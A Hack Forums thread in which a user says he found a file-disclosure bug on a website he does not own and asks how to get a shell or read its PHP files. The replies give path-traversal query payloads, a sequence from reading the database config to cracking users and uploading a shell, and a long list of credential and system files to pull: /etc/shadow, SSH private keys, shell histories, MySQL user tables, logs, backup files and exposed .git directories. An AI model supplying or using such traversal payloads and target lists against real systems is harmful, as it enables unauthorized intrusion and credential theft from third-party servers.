

Forum:[Hack Forums](#)

Thread: [LFI through file_get_contents with '*.php' filter possible?](#)

mrsphp - October 29, 2018, 9:33 pm

Hello,

here is a example of the LFI that i coded from my mind to test the LFI local before trying is it possible:

PHP Code

```
<?php
$req = explode('',$_REQUEST['param']);

foreach($req as $filepath)
{
    //i think:
    //im not sure how they detect when i use .php for file and i cant test if its control the whole string or
    //only the file extension
    //if(strpos($filepath,'.php')) die();
    //if(preg_match('/\.(php)/', $filepath)) die();

    $file = file_get_contents('/var/www/'.$filepath);

    if ( $file === false ) {
        die();
    } else {
        $output .= $file;
    }
}
echo $output;
?>
```

OS: Linux 2.6.32-504.el6.x86_64 Red Hat 4.6
Web: Apache 2.1 PHP 5.3.29

Someone knows some tricks? Some unix files that can help or something like dot truncation path truncation encoding in filename etc?

Hooded Robin - October 29, 2018, 10:50 pm

Your question that you actually want help with is a bit vague at the moment so I'll steer you in a better direction since it's your first post...

This is a file read, not a file include bug that you've managed to code up on your own here. You can change it from `file_get_contents()` to `include()` or `require()` to change the type of bug though. While similar, I'd recommend you read more on the nature of what these bugs are individually, regardless of the underlying programming language to better position your self for attacking either of these classifications of bugs (seriously its not limited to PHP by any means despite common misconceptions).

note: There's several classic papers out there that will continuously come up if you doing some real research on LFI topics which will help you with some common tricks for manipulating paths to tackle common barriers you might come across. OWASP is another good general source. If you have specific real question(s), ask away and the community will do their best to help out if they can...

mrsphp - October 29, 2018, 11:17 pm

(Oct 29, 2018 10:50 PM)Hooded Robin Wrote: [\[CITE\]](#) Your question that you actually want help with is a bit vague at the moment so I'll steer you in a better direction since it's your first post...

This is a file read, not a file include bug that you've managed to code up on your own here. You can change it from `file_get_contents()` to `include()` or `require()` to change the type of bug though. While similar, I'd recommend you read more on the nature of what these bugs are individually, regardless of the underlying programming language to better position your self for attacking either of these classifications of bugs (seriously its not limited to PHP by any means despite common misconceptions).

note: There's several classic papers out there that will continuously come up if you doing some real research on LFI topics which will help you with some common tricks for manipulating paths to tackle common barriers you might come across. OWASP is another good general source. If you have specific real question(s), ask away and the community will do their best to help out if they can...

I mean that i have found this kind of bug on a website and i want to shell the machine or read PHP files. i cant access it to change it to `include()` or `require()` because its not my machine.

Sorry its not a LFI its a file disclos bug.

My question:

How i can shell it? How i can read PHP files? I test something like:

?file=index.php.....

?file=index%27fphp

and and and

Abruptum - October 30, 2018, 10:05 am

To exploit an LFI to gain a shell you need to find other bugs or credentials to gain rights on the machine.

at first i would suggest to search for a config file for the database.

Then login into the database and search for users and create/ delete/ crack one.

then login and with the user at the system and upload a shell.

you can navigate through the lfi with :

?file=./configexample.php

?file=../configexample.php

?file=../inc/configexample.php

and so on.

i would suggest that you start with the index.php file and search in there for an include to a config script.

mrsphp - October 30, 2018, 10:39 pm

(Oct 30, 2018 10:05 AM)Abruptum Wrote: [\[CITE\]](#) To exploit an LFI to gain a shell you need to find other bugs or credentials to gain rights on the machine.

at first i would suggest to search for a config file for the database.

Then login into the database and search for users and create/ delete/ crack one.

then login and with the user at the system and upload a shell.

you can navigate through the lfi with :

?file=./configexample.php

?file=../configexample.php

?file=../inc/configexample.php

and so on.

i would suggest that you start with the index.php file and search in there for an include to a config script.

As i said the problem is that they exit the code when i try to use PHP files. This is the problem!

I need to find some files that have important strings in it and NOT ending with .php

Abruptum - October 31, 2018, 5:16 am

Okay,

first of there are some interesting linux files you should check out first:

Code /etc/passwd

/etc/shadow

/etc/aliases

/etc/anacrontab

/etc/apache2/apache2.conf

/etc/apache2/httpd.conf

/etc/at.allow

/etc/at.deny

/etc/bashrc

/etc/bootptab

/etc/chrootUsers

/etc/chttp.conf

/etc/cron.allow

/etc/cron.deny

/etc/crontab

/etc/cups/cupsd.conf

/etc/exports

/etc/fstab

/etc/ftpaccess

/etc/ftphosts

/etc/ftpchroot

/etc/ftphosts

/etc/groups

/etc/grub.conf

/etc/hosts

/etc/hosts.allow

/etc/hosts.deny

/etc/httpd/access.conf

/etc/httpd/conf/httpd.conf

/etc/httpd/httpd.conf

/etc/httpd/logs/access_log

/etc/httpd/logs/access.log

/etc/httpd/logs/error_log

/etc/httpd/logs/error.log

/etc/httpd/php.ini

/etc/httpd/srm.conf

/etc/inetd.conf

/etc/inittab
/etc/issue
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftpd.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network

/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftp/ftpaccess
/etc/wu-ftp/ftphosts
/etc/wu-ftp/ftpusers
/logs/pure-ftp.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/stat
/proc/swaps
/proc/version
/proc/self/net/arp
/root/anaconda-ks.cfg
/usr/etc/pure-ftp.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftp.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini

/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log

/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa

~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsession

Sometimes the developer work on remote files with there IDE and they left working copy's of there files so try things like :

Code config.php.old
config.php~

You should also checkout the possibility of a git directory like this:

Code `./.git/index`

If that matches then you should checkout

<https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/>

Friendly reminder, this is for research only.